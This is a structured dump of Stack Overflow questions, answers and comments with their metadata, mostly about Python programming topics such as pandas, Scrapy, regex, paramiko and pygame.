has body: Assuming that you are trying to parse the title and location of different products from that page (mentioned in your script). The thing is the content of that page are generated dynamically so you can't catch it with requests; rather, you need to use any browser simulator like selenium that is What i did in my below code. Give this a try: from selenium import webdriver from bs4 import BeautifulSoup import time driver = webdriver.Chrome() driver.get('http://www.simon.com/mall') time.sleep(3) soup = BeautifulSoup(driver.page_source, 'lxml') driver.quit() for item in soup.find_all(class_="mall-list-item-text"): name = item.find_all(class_='mall-list-item-name')[0].text location = item.find_all(class_='mall-list-item-location')[0].text print(name,location) Results: ABQ Uptown Albuquerque, NM Albertville Premium Outlets® Albertville, MN Allen Premium Outlets® Allen, TX Anchorage 5th Avenue Mall Anchorage, AK Apple Blossom Mall Winchester, VA
downvote count: 0
type: Answer
upvote count: 1
score: 1

http://stackoverflow.com/comment/80835649
comment on: http://stackoverflow.com/q/46944066
type: Comment
score: 2
has text: Possible duplicate of [Overriding properties in python](https://stackoverflow.com/questions/7019643/overriding-properties-in-python)
type: QuestionComment

http://stackoverflow.com/q/46993225
tagged with: python
has comment: http://stackoverflow.com/comment/80933061
has body: I am not looking for a constant recording the maximum value representable with an int; I am looking to find out the maximum amount of memory that an int can occupy. Consider the following code: import sys def print_and_execute(*args): for s in args: print(s, end = " == ") r = eval(s) print(r) return print_and_execute("type(5) ") print_and_execute("sys.getsizeof(5)") i = int() print_and_execute("i") print_and_execute("sys.getsizeof(i)") i = 2937 print_and_execute("i") print_and_execute("sys.getsizeof(i)") print_and_execute("sys.maxsize") print_and_execute("sys.getsizeof(sys.maxsize)") For my particular machine, the output is: type(5) == &lt;class 'int'&gt; sys.getsizeof(5) == 28 i == 0 sys.getsizeof(i) == 24 i == 2937 sys.getsizeof(i) == 28 sys.maxsize == 9223372036854775807 sys.getsizeof(sys.maxsize) == 36 Apparently, some ints are 24 bytes long, others are 28, still others use 36. How many bytes are required to hold an int of any size?
type: Question
tagged with: python-3.x
has title: How do we get the number of bytes that a python int occupies?
has comment: http://stackoverflow.com/comment/80932942
type: UnansweredQuestion
answer count: 1
upvote count: 1
downvote count: 1
favorite count: 0
tagged with: int
score: 0
has answer: http://stackoverflow.com/a/46993248
tagged with: size
tagged with: sizeof

http://stackoverflow.com/comment/80812583
score: 0
comment on: http://stackoverflow.com/q/46932818
has text: is import os working in python shell ? import sys is working ?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47031394
tagged with: scrapy
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47039866
answer count: 2
score: 5
upvote count: 5
has body: For my scrapy project I'm currently using the FilesPipeline. The downloaded files are stored with a SHA1 hash of their URLs as the file names. [(True, {'checksum': '2b00042f7481c7b056c4b410d28f33cf', 'path': 'full/0a79c461a4062ac383dc4fade7bc09f1384a3910.jpg', 'url': 'http://www.example.com/files/product1.pdf'}), (False, Failure(...))] How can I store the files using my custom file names instead? In the example above, I would want the file name being "product1_0a79c461a4062ac383dc4fade7bc09f1384a3910.pdf" so I keep uniqueness but make the file name visible. As a starting point, I explored the pipelines.py of my project without much success. import scrapy from scrapy.pipelines.images import FilesPipeline from scrapy.exceptions import DropItem class MyFilesPipeline(FilesPipeline): def file_path(self, request, response=None, info=None): return request.meta.get('filename','') def get_media_requests(self, item, info): file_url = item['file_url'] meta = {'filename': item['name']} yield Request(url=file_url, meta=meta) with the inclusion of this parameter in my settings.py ITEM_PIPELINES = { #'scrapy.pipelines.files.FilesPipeline': 300 'io_spider.pipelines.MyFilesPipeline': 200 } A similar question has been asked but it does target images and not files. Any help will be appreciated.
tagged with: python
tagged with: scrapy-pipeline
accepted answer: http://stackoverflow.com/a/47039866
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47040810
possible better answer: http://stackoverflow.com/a/47040810
linked to: http://stackoverflow.com/q/6194041
downvote count: 0
has title: Scrapy file download how to use custom filename

http://stackoverflow.com/comment/80989143
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47020876
type: QuestionComment
has text: I imagine that the quotes are causing issues since generally those aren't included in .csv files.

http://stackoverflow.com/a/46979626
has body: You're currently stripping the new line character only from the last line of the file, if any. You should strip from each line instead: with open ("Test1_Votes.txt") as f: all_lines = [] for line in f: line = line.rstrip("\n") # strip new line character lst = [int(x) for x in line.split(',')] # split line and cast to int all_lines.append(lst) Of course, you can put the entire logic into a list comprehension: with open ("Test1_Votes.txt") as f: all_lines = [[int(x) for x in l.rstrip("\n").split(',')] for l in f]
accepted answer of: http://stackoverflow.com/q/46979569
answers question: http://stackoverflow.com/q/46979569
has comment: http://stackoverflow.com/comment/80906757
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/80906816
has comment: http://stackoverflow.com/comment/80906645
upvote count: 3
score: 3
type: AcceptedAnswer

http://stackoverflow.com/comment/80944835
has text: @Isma check the data your self i added it
comment on: http://stackoverflow.com/q/46998740
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/46976611
has comment: http://stackoverflow.com/comment/80901636
tagged with: python
has title: Python - Grab a value from an output
tagged with: paramiko
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/46977149
answer count: 1
tagged with: output
has comment: http://stackoverflow.com/comment/80901377
type: Question
accepted answer: http://stackoverflow.com/a/46977149
has body: I am running a python script with paramiko module from my .send and .recv I have this output crypto map OUTSIDEMAP 10 match address XXXXXXXXXXX crypto map OUTSIDEMAP 20 match address XXXXXXXXXXX crypto map OUTSIDEMAP 21 match address XXXXXXXXXXX crypto map OUTSIDEMAP 23 match address XXXXXXXXXXX crypto map OUTSIDEMAP 25 match address XXXXXXXXXXX crypto map OUTSIDEMAP 26 match address XXXXXXXXXXX crypto map OUTSIDEMAP 27 match address XXXXXXXXXXX crypto map OUTSIDEMAP 430 match address XXXXXXXXXXX crypto map OUTSIDEMAP 550 match address XXXXXXXXXXX crypto map OUTSIDEMAP 660 match address XXXXXXXXXXX crypto map OUTSIDEMAP 800 match address XXXXXXXXXXX I need to grab the numerical value after OUTSIDEMAP (10, 20, 21, etc.). I have tried split method however the number of lines displayed can change anytime so I don' t have fix list value position. Any idea? Below the code #!/usr/bin/env python import paramiko import time # Variables host = xxxxxx = 'xxxxxx' # Create instance of SSHClient object ssh = paramiko.SSHClient() # Automatically add untrusted hosts ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Automatically add untrusted hosts ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # initiate SSH connection ssh.connect('xxxxxx', port=22, username='xxxxx', password='xxxxx', look_for_keys=False, allow_agent=False) print "SSH COnnection established with %s" % host # Use invoke_shell to establish an 'interactive session' ssh_conn = ssh.invoke_shell() print "Interactive SSH session established" print "Give the name of the 3PPartner\n" partner = raw_input('&gt;') # Commands prompted ssh_conn.send('\n') ssh_conn.send('enable\n') time.sleep(.5) ssh_conn.send('xxxxxxxn') time.sleep(.5) ssh_conn.send("terminal pager 0\n") time.sleep(.5) ssh_conn.send('show running-config crypto map | i ' + str(partner) + '\n') time.sleep(1) output = ssh_conn.recv(65535) # Edit output c_map = output.split(' ') print c_map[25] print c_map[31] print c_map[37] # Close session s…

http://stackoverflow.com/comment/80878261
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46964895
has text: There is no error,it runs smoothly, but just wont append the new row record to the existing header file

configparser
tags question: http://stackoverflow.com/q/47007976
type: Tag
tag name: configparser

http://stackoverflow.com/comment/80956845
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47005153
has text: `shutil.copyfileobj(source, temp)` i will be very surprised if it works. can shutil directly used to deal with zip files?
type: QuestionComment

http://stackoverflow.com/comment/80836701
comment on: http://stackoverflow.com/q/46944504
has text: What is 'the error'? Please, edit your question with the error you're getting and any details of what you've done to try and debug it.
score: 3
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81026963
score: 1
type: Comment
has text: So I concluded that here its case of needed vs best practices hype
comment on: http://stackoverflow.com/a/47038503
type: AnswerComment

http://stackoverflow.com/q/47017389
type: UnansweredQuestion
downvote count: 2
tagged with: k-means
tagged with: cluster-analysis
has body: Below are the top 5 rows of the variables, I am using for the KMeans to find the optimal no of clusters- store_code PinCode sale_price_after_promo 0 2655 453441.0 55.00 1 2655 999999.0 30.00 2 2655 400064.0 418.95 3 2615 400099.0 70.00 4 2655 474001.0 34.20 This is the error I am getting - OverflowError Traceback (most recent call last) &lt;ipython-input-62-3802a2b79f71&gt; in &lt;module&gt;() 2 for i in range(0,11): 3 kmeans=KMeans(n_clusters=i, init='k-means++', random_state=42) ----&gt; 4 kmeans.fit(X) 5 wcss.append(kmeans.inertia_) 6 plt.plot(range(1, 11), wcss) OverflowError: cannot convert float infinity to integer How to get rid of this error even I have tried using various combinations of variables but still getting the same error?
has comment: http://stackoverflow.com/comment/80981984
tagged with: python
has answer: http://stackoverflow.com/a/62433257
favorite count: 0
linked to: http://stackoverflow.com/q/40051170
has title: KMeans - OverflowError: cannot convert float infinity to integer
has comment: http://stackoverflow.com/comment/80983276
score: 2
has comment: http://stackoverflow.com/comment/80981739
answer count: 3
has comment: http://stackoverflow.com/comment/80982232
has answer: http://stackoverflow.com/a/47021026
has comment: http://stackoverflow.com/comment/80981940
has comment: http://stackoverflow.com/comment/81001499
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/80982183
has answer: http://stackoverflow.com/a/71074556

http://stackoverflow.com/comment/104554797
type: Comment
score: 0
type: AnswerComment
has text: Worth noting this calculation is different than the answer by @w2bo as this one does not divide by the set length union.
comment on: http://stackoverflow.com/a/47016862

http://stackoverflow.com/comment/81025335
type: AnswerComment
score: 1
has text: Might be better to *solve the problem* when the csv is read into a DataFrame instead of doing it after the fact.
comment on: http://stackoverflow.com/a/47039324
type: Comment

import
tags question: http://stackoverflow.com/q/46932818
tags question: http://stackoverflow.com/q/46983902
type: Tag
tags question: http://stackoverflow.com/q/46935456
tags question: http://stackoverflow.com/q/47035031
tags question: http://stackoverflow.com/q/47040070
tags question: http://stackoverflow.com/q/46939418
tags question: http://stackoverflow.com/q/46980637
tag name: import
tags question: http://stackoverflow.com/q/46997714
tags question: http://stackoverflow.com/q/46993633
tags question: http://stackoverflow.com/q/46937147
tags question: http://stackoverflow.com/q/47053080
tags question: http://stackoverflow.com/q/46922967
tags question: http://stackoverflow.com/q/47019229
tags question: http://stackoverflow.com/q/46914093
tags question: http://stackoverflow.com/q/46939835
tags question: http://stackoverflow.com/q/46914250
tags question: http://stackoverflow.com/q/46953310
tags question: http://stackoverflow.com/q/47061067
tags question: http://stackoverflow.com/q/46930970
tags question: http://stackoverflow.com/q/47029677
tags question: http://stackoverflow.com/q/46996982

http://stackoverflow.com/comment/80921493
type: Comment
has text: use a foreach loop
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46987339

http://stackoverflow.com/q/46999726
has comment: http://stackoverflow.com/comment/80946500
linked to: http://stackoverflow.com/q/6541123
type: UnansweredQuestion
has title: matplotlib + PyQt5: plot area margins
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/80946750
tagged with: python
has body: I am trying to build simple user interface with a graph. The combination of matplotlib and PyQt5 works good, but there is one thing I don't like: bulky margins around axes area. On the image that I have attached: top and bottom margins taking almost third part of all area. How can I make them smaller? image Code I using looks like: from PyQt5 import QtCore, QtWidgets, QtGui import matplotlib from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas from matplotlib.figure import Figure from matplotlib import dates class GraphWin(QtWidgets.QMainWindow): def __init__(self, parent=None): QtWidgets.QMainWindow.__init__(self, parent) main_layout = QtWidgets.QHBoxLayout(self) # graph area self.graph = Figure() self.graph.autofmt_xdate() self.axis = self.graph.add_subplot(111) self.canvas = FigureCanvas(self.graph) main_layout.addWidget(self.canvas) self.draw() # draw function def draw(self): self.axis.plot(some_x, some_y, some_color, label=some_label) fmt = dates.DateFormatter('%M:%S') self.axis.xaxis.set_major_formatter(fmt) self.axis.xaxis.set_major_locator(matplotlib.ticker.MaxNLocator(7)) self.axis.legend(loc=2) self.axis.grid(b=True, which='both', color='#cccccc', linestyle='--') self.canvas.draw() This question differs from this because I would like to know how to adjust plot margins absolutely, e.g. in pixels or inches/cm not in percents like using function subplots_adjust().
duplicate of: http://stackoverflow.com/q/6541123
score: 0
answer count: 0
tagged with: pyqt
type: Question

http://stackoverflow.com/comment/80796829
comment on: http://stackoverflow.com/a/46915854
score: 1
type: Comment
has text: Using `apply` function runs the function in parallel using underlying C/fortran libraries, and further optimizations may happen under hood. Using inbuilt `map` function is pure python generator function. It is strange how this `map` is faster than `apply`
type: AnswerComment

http://stackoverflow.com/comment/80949163
type: AnswerComment
has text: Can you edit your question wih your problem? Because if MultiIndex, `map` cannot be used, need `join` or `merge`
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47001243

http://stackoverflow.com/comment/133396361
has text: This isn't clear at all. There is no way to tell from this example **what the rule is** for which combinations to include. For example, for results of length `2`, **why should it not** include `'aa'`, `'bb'`, `'cc'`? For results of length `3`, you say that you need `'aba'`, `'aca'`, `'bab'`... **what do these values have in common**? **How are they different from** the results that you don't want to include (like the examples you gave of `'abb'` and `aab`)? **Should the result include `'bbb'`? I don't know how to answer that for myself**, after reading your description.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47008483
type: QuestionComment

http://stackoverflow.com/q/47009348
answer count: 3
tagged with: pandas
score: 1
downvote count: 0
has title: Pandas: diff between columns
upvote count: 1
has comment: http://stackoverflow.com/comment/80965321
accepted answer: http://stackoverflow.com/a/47009430
possible better answer: http://stackoverflow.com/a/47009812
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47009430
has answer: http://stackoverflow.com/a/47009812
has body: I have dataframe site1 time1 site2 time2 site3 time3 site4 time4 site5 time5 ... time6 site7 time7 site8 time8 site9 time9 site10 time10 target session_id 21669 56 2013-01-12 08:05:57 55.0 2013-01-12 08:05:57 NaN NaT NaN NaT NaN NaT ... NaT NaN NaT NaN NaT NaN NaT NaN NaT 0 54843 56 2013-01-12 08:37:23 55.0 2013-01-12 08:37:23 56.0 2013-01-12 09:07:07 55.0 2013-01-12 09:07:09 NaN NaT ... NaT NaN NaT NaN NaT NaN NaT NaN NaT 0 77292 946 2013-01-12 08:50:13 946.0 2013-01-12 08:50:14 951.0 2013-01-12 08:50:15 946.0 2013-01-12 08:50:15 946.0 2013-01-12 08:50:16 ... 2013-01-12 08:50:16 948.0 2013-01-12 08:50:16 784.0 2013-01-12 08:50:16 949.0 2013-01-12 08:50:17 946.0 2013-01-12 08:50:17 0 I need to count diff between last not NaN time and first time. Desire output (convert to second) session_id diff 21669 0 54843 2013-01-12 09:07:09 - 2013-01-12 08:37:23 55.0 77292 4 I can to it for every pair and next merge that df['diff1'] = df['time1'] - df['time2'] ... But is any way to do it faster?
tagged with: python
has answer: http://stackoverflow.com/a/47009832
type: AnsweredQuestion

http://stackoverflow.com/comment/80826275
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46939573
has text: Can you share your pg_hba.conf? Do you have any firewall. And please show your Django config
score: 1

http://stackoverflow.com/q/47040005
has answer: http://stackoverflow.com/a/47040348
has body: Given a dictionary, dict={"1":"2" , "2":"4"} Is it possible to create another dictionary that has, as values, lists of the values of the first dictionary? For example in this case the output is dictionary={"1":["4","2"],"2":["4"]} because in the first dict "1" is key of "2" that at the same time is key of "4". So we have in the new dictionary. "1":["4","2"] While "2" is key of 4, that is not a key of another value. How can I implement this?
tagged with: python
score: -2
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81027384
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81027702
upvote count: 0
downvote count: 2
accepted answer: http://stackoverflow.com/a/47040579
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47040579
has comment: http://stackoverflow.com/comment/81026732
has answer: http://stackoverflow.com/a/47044154
possible better answer: http://stackoverflow.com/a/47040348
has comment: http://stackoverflow.com/comment/81027233
answer count: 3
has title: Dictionary with lists as values

http://stackoverflow.com/comment/80846677
has text: @JonClements Yeah, that makes perfect sense.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46949627
type: Comment

http://stackoverflow.com/comment/81026880
score: 0
comment on: http://stackoverflow.com/q/47033153
has text: A string array like this has to be saved with `%s` format. To retain more control on the display of numbers you need to create a structured array, which can be saved with `savetxt`. The `duplicate` sort-of helps with the structured array, but does not use `savetxt`. I'm sure there are newer better duplicates.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46960937
type: Answer
answers question: http://stackoverflow.com/q/46940313
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has body: If we simplify what you are trying to do by working on your simplified data example, we could use the following code: import pandas as pd DF = pd.read_csv("Data.csv") print DF print for i in range(len(DF)): print i, sum(DF.iloc[i]) which would yield the following output: A B C 0 3 4 2 1 2 1 4 2 1 3 2 0 9 1 7 2 6 You are probably just making some simple mistake with your class instantiation and data loading. Once you fix that, your results will likely come out right. Start from a small simple data set until you find your issue, and trouble shoot each step.
accepted answer of: http://stackoverflow.com/q/46940313

http://stackoverflow.com/comment/80949971
has text: @Kasramvd so there is no way I can save a .jsonl file that displays the arabic characters correctly? Cause I can convert the "unreadable" jsonl into a csv which is then subsequently readable in TextEdit or Excel but I would prefer to continue my analysis with the complete .jsonl file...
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46988948

http://stackoverflow.com/comment/80916816
type: Comment
score: 0
type: AnswerComment
has text: What algorithm is that? What does "straying" mean, exactly? You have to change *something* obviously, because your code is incorrect.
comment on: http://stackoverflow.com/a/46984333

http://stackoverflow.com/q/47020737
tagged with: python
has body: I want to split a string into 2 parts based on the middle comma. There can be an unlimited amount of commas Assume there will be an odd number of commas at all time From: "1, 4, a, fdsa, 53, dfs, sdfg, klk" To: "1, 4, a, fdsa" and "53, dfs, sdfg, klk"
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47020787
has title: Split a string in two on the middle comma?
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80988174
favorite count: 0
accepted answer: http://stackoverflow.com/a/47020787
type: Question
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/47021285
has answer: http://stackoverflow.com/a/47021018
has answer: http://stackoverflow.com/a/47021285
has answer: http://stackoverflow.com/a/47021429

http://stackoverflow.com/comment/81048749
score: 0
comment on: http://stackoverflow.com/a/47048614
type: Comment
has text: @skypecakes Hahaha! Damn those Scottish surnames :)
type: AnswerComment

http://stackoverflow.com/q/46987339
answer count: 1
has comment: http://stackoverflow.com/comment/80921507
has comment: http://stackoverflow.com/comment/80921499
type: Question
has comment: http://stackoverflow.com/comment/80921526
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80921545
has comment: http://stackoverflow.com/comment/80921557
has comment: http://stackoverflow.com/comment/80921498
has comment: http://stackoverflow.com/comment/80921551
tagged with: python
tagged with: php
has title: PHP's shorthand equivalent to python's for & in
has answer: http://stackoverflow.com/a/46987632
score: 0
has body: I've currently got the following in Python: [i['itemId'] for i in rc['duplicateItemIdList']] What'd be the necessary way to replicate this in PHP in such shorthand, the way it's done in Python? This obviously could be solved using something such as: foreach($duplicateItemIdList as $id) { $this-&gt;duplicates[] = $id['itemId']; }
has comment: http://stackoverflow.com/comment/80922404
has comment: http://stackoverflow.com/comment/80921552
has comment: http://stackoverflow.com/comment/80921493

http://stackoverflow.com/comment/81016286
comment on: http://stackoverflow.com/q/47035011
has text: I think your code actually works! It returns the correct index of the item to be searched.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/47064323
has body: I'll start with my dataset: patient_id event_description A DiagnosisA 2016-01-15 A DiagnosisA 2016-02-10 A DiagnosisA 2016-04-20 A DiagnosisA 2016-06-02 B DiagnosisA 2016-08-15 B DiagnosisA 2016-08-20 B DiagnosisA 2016-09-20 B DiagnosisA 2016-10-30 C DiagnosisA 2016-10-15 C DiagnosisA 2016-11-20 C DiagnosisA 2016-11-25 C DiagnosisA 2016-12-30 Essentially, I need to: calculate the difference between 1st instance of an event_description and the 2nd and see if the difference is less than or greater than 30. If it is less than thirty, I will get rid of that instance. This will need to be done for every instance for each event_description and patient_id The final sample dataset would like like: patient_id event_description A DiagnosisA 2016-01-15 A DiagnosisA 2016-04-20 A DiagnosisA 2016-06-02 B DiagnosisA 2016-08-15 B DiagnosisA 2016-09-20 B DiagnosisA 2016-10-30 C DiagnosisA 2016-10-15 C DiagnosisA 2016-11-20 C DiagnosisA 2016-12-30
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47064405
score: 1
has title: Starting from the beginning of a sequence, I need to delete any instance that is less than 30 days from the next instance
tagged with: python
type: AnsweredQuestion
tagged with: pandas-groupby
downvote count: 0
tagged with: pandas
upvote count: 1
has answer: http://stackoverflow.com/a/47064405
answer count: 1
has comment: http://stackoverflow.com/comment/81076855

http://stackoverflow.com/comment/81076463
has text: Why can't you load a 50M file directly into memory?
comment on: http://stackoverflow.com/q/47063924
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47031094
answers question: http://stackoverflow.com/q/47030896
has body: That is just how numpy arrays are printed. The list is still the same eg. print(numpy.array(list1)[0][1]) and print(list1[0][1]) are the same.
type: Answer
score: 0

http://stackoverflow.com/comment/80846863
has text: I think is looks like bug, if dont help upgrade pandas use another solution.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46948401

http://stackoverflow.com/a/46927635
answers question: http://stackoverflow.com/q/46927427
downvote count: 0
type: Answer
score: 6
has comment: http://stackoverflow.com/comment/80834235
upvote count: 6
has comment: http://stackoverflow.com/comment/80834433
has comment: http://stackoverflow.com/comment/80833567
has body: You need to create sub-elements: from lxml import etree root = etree.Element("p") root.text = 'some' bold = etree.SubElement(root, 'bold') bold.text = 'text' print (etree.tostring(root)) Returns: some text
has comment: http://stackoverflow.com/comment/80834038

http://stackoverflow.com/comment/81052891
comment on: http://stackoverflow.com/a/47051335
type: Comment
has text: Ok, so basically you are saying the code has no errors, but you want to additionally save the image as a png in a separate folder, right?
score: 0
type: AnswerComment

http://stackoverflow.com/a/54628444
upvote count: 55
downvote count: 0
has body: Check if there's a .dockerignore file, if so, add: !mydir/test.json !mydir/test.py
type: Answer
answers question: http://stackoverflow.com/q/46907584
has comment: http://stackoverflow.com/comment/113508566
has comment: http://stackoverflow.com/comment/100079815
score: 55

threshold
tags question: http://stackoverflow.com/q/46952578
tags question: http://stackoverflow.com/q/46911160
tag name: threshold
type: Tag

http://stackoverflow.com/comment/81074521
comment on: http://stackoverflow.com/q/47062258
score: 1
type: Comment
type: QuestionComment
has text: Be concrete, one thing is to say approximately 20% and another thing is to say exactly 20%. The outside of the circle is impossible to solve since there is a way to obtain random numbers in infinite ranges, we must always delimit the ranges.

http://stackoverflow.com/q/46936397
has answer: http://stackoverflow.com/a/46936617
linked to: http://stackoverflow.com/q/9889635
upvote count: 5
possible better answer: http://stackoverflow.com/a/46936502
tagged with: python
accepted answer: http://stackoverflow.com/a/46936494
has comment: http://stackoverflow.com/comment/80820118
tagged with: regex
has body: I have a string that can vary but will always contain x={stuffNeeded}. For example: n=1,x={y,z,w},erore={3,4,5} or x={y,z,w} or erore={3,4,5},x={y,z,w} etc. I am having a devil of a time figuring out how to get y,z,w. The closest I got to finding the answer was based off of Yatharth's answer on this other post Regular expression to return all characters between two special characters. It my searching I've so far come across something that almost worked. Testing was done here http://rubular.com/r/bgixv2J6yF and in python. This was tested in python using: i='n=1,x={y,z,w},erore={3,4,5}' j='n=1,x={y,z,w}' print re.search('x={(.*)}',i).group(1) print re.search('x={(.*)}',j).group(1) print re.search('x={(.*)}.',i).group(1) print re.search('x={(.*)}.',j).group(1) Result for the four different print: 'y,z,w' 'y,z,w},erore={3,4,5' AttributeError: 'NoneType' object has no attribute 'group' 'y,z,w' Needed result is 'y,z,w' for all cases and then if x={*} really isn't found I would put an error catch. Thank you in advance.
has answer: http://stackoverflow.com/a/46936502
answer count: 4
has answer: http://stackoverflow.com/a/46936494
type: AnsweredQuestion
score: 5
downvote count: 0
has comment: http://stackoverflow.com/comment/80820366
favorite count: 0
has answer: http://stackoverflow.com/a/46936727
type: Question
has comment: http://stackoverflow.com/comment/80820517
has title: Return string within a string based on expression 'x={(.*)}'

http://stackoverflow.com/a/47036341
answers question: http://stackoverflow.com/q/47036224
has comment: http://stackoverflow.com/comment/81019209
type: Answer
has comment: http://stackoverflow.com/comment/81018804
has comment: http://stackoverflow.com/comment/81024679
has body: square = lambda n : sum([n]*n) Edited : (without using * or **) square = lambda n : n+sum(range(2,n+n,2))
has comment: http://stackoverflow.com/comment/81019703
score: 0
has comment: http://stackoverflow.com/comment/81019545
has comment: http://stackoverflow.com/comment/81021031
has comment: http://stackoverflow.com/comment/81023393

http://stackoverflow.com/comment/80761779
comment on: http://stackoverflow.com/q/46906778
type: Comment
type: QuestionComment
has text: I think we should have a sub site named "guess number". Why there are so many people who are working on guess number game and face the same issue but don't know just search it?
score: 0

http://stackoverflow.com/comment/81071855
score: 3
type: Comment
has text: Actually, even in your set comprehension I would prefer to replace `_` with something like `number`, as the `_` is actually re-referenced right there in the comprehension.
comment on: http://stackoverflow.com/a/47061911
type: AnswerComment

http://stackoverflow.com/comment/80849089
has text: I have the last statement if j == (i+6) because I want it to compute the sum and average only on the last iteration on the for loop. The temp variable is one column of a data frame
score: 0
comment on: http://stackoverflow.com/q/46950766
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47059749
score: 1
favorite count: 0
type: Question
tagged with: fullscreen
has body: Trying to create a simple bit of code that registers mouse position on click when in window and also when in fullscreen. Currently the correct values will be returned when in windowed mode (providing cursor is over the window) however in fullscreen regardless of the mouse position I'm returned the value 800,480 (screen resolution). Here is my code: import pygame windowwidth = 800 windowheight = 480 pygame.init() pygame.display.init() screen = pygame.display.set_mode((windowwidth, windowheight)) pygame.display.flip() running = 1 while running: LEFT = 1 event1 = pygame.event.get() for event in event1: if event.type == pygame.MOUSEBUTTONDOWN and event.button == LEFT: print(event.pos) if event.type == pygame.KEYDOWN: if event.key == pygame.K_f: pygame.display.set_mode((800,480), pygame.FULLSCREEN) if event.key == pygame.K_g: pygame.display.set_mode((800, 480)) else: break pygame.display.flip()
answer count: 2
type: UnansweredQuestion
upvote count: 1
tagged with: python
tagged with: pygame
tagged with: mouseevent
has title: Pygame not returning mouse position in fullscreen mode
has answer: http://stackoverflow.com/a/47066740
has answer: http://stackoverflow.com/a/47060707
downvote count: 0

http://stackoverflow.com/comment/81068820
has text: What's the output?
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47060564

http://stackoverflow.com/q/46997984
has comment: http://stackoverflow.com/comment/80942800
downvote count: 0
has title: pickle.load give memory address in python instead of values
has body: I am trying to load data from pickle file but it returned me memory address instead of values. Is there any solution? import numpy as np import cPickle import lasagne import theano import theano.tensor as T fa=open('fahad.pkl', 'rb') c=cPickle.load(fa) print(c) (&lt;network.Network object at 0x00000000BFC8E908&gt;, &lt;network.Network object at 0x00000000665C93C8&gt;, &lt;network.Network object at 0x00000000C014B630&gt;) Network is another python file in same folder.
tagged with: pickle
has comment: http://stackoverflow.com/comment/80942959
favorite count: 0
type: Question
tagged with: theano
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80942864
tagged with: lasagne
answer count: 0
has comment: http://stackoverflow.com/comment/80942921
upvote count: 1
type: UnansweredQuestion

http://stackoverflow.com/comment/80922021
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46941208
has text: @Maxime: not with vanilla lists and dictionaries, since `'key1' == 'value1'` is evaluated first. But you have quite similar syntax in Pandas. Will update.
score: 0

http://stackoverflow.com/q/46941308
accepted answer: http://stackoverflow.com/a/46941325
favorite count: 0
upvote count: 17
has answer: http://stackoverflow.com/a/46941325
type: AnsweredQuestion
has title: Python 3 support in Google's CoLab
score: 17
tagged with: jupyter
type: Question
has body: I have been experimenting with the Jupyter notebooks at https://colab.research.google.com, and it seems that by default they run Python 2.7. Is there any way to enable Python 3 support on CoLab?
downvote count: 0
answer count: 1
tagged with: python
tagged with: google-colaboratory

http://stackoverflow.com/comment/81053492
type: Comment
type: AnswerComment
has text: Hmm, thought about that solution too. Currently I'm doing two groupby-agg operations and join the two results based on the index. but your solution should be better in terms of performance.
score: 0
comment on: http://stackoverflow.com/a/47053313

http://stackoverflow.com/comment/80989374
type: QuestionComment
comment on: http://stackoverflow.com/q/47019474
score: 0
has text: @HåkenLid Wow this was the solution! Thanks a lot ! You want to post answer and I will accept it or I will write an answer. I think this can happen to several other users in the future.
type: Comment

http://stackoverflow.com/q/46986173
tagged with: python
tagged with: valueerror
type: Question
has comment: http://stackoverflow.com/comment/80919487
has body: def load_data(dataset='data.pkl.gz'): dataset = os.path.join(os.path.split(__file__)[0], '../data', dataset) f = gzip.open(dataset, 'rb') train_set, valid_set, test_set = pickle.load(f) f.close() when I want to call this file (load_data) in another file, I get this error message. in load_data train_set, valid_set, test_set = pickle.load(f) ValueError: too many values to unpack (expected 3)
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80919430
answer count: 1
has comment: http://stackoverflow.com/comment/80919710
has comment: http://stackoverflow.com/comment/80919511
has comment: http://stackoverflow.com/comment/80919518
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/80919439
has answer: http://stackoverflow.com/a/46986903
has comment: http://stackoverflow.com/comment/80919449
score: 1
has title: ValueError: too many values to unpack (expected 3)

google-maps-markers
tags question: http://stackoverflow.com/q/47059817
type: Tag
tag name: google-maps-markers

http://stackoverflow.com/comment/80933643
has text: Yes, multithreading is more suitable. Not sure why I had MP on the mind.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46993395
type: Comment

http://stackoverflow.com/comment/80793426
type: QuestionComment
score: 0
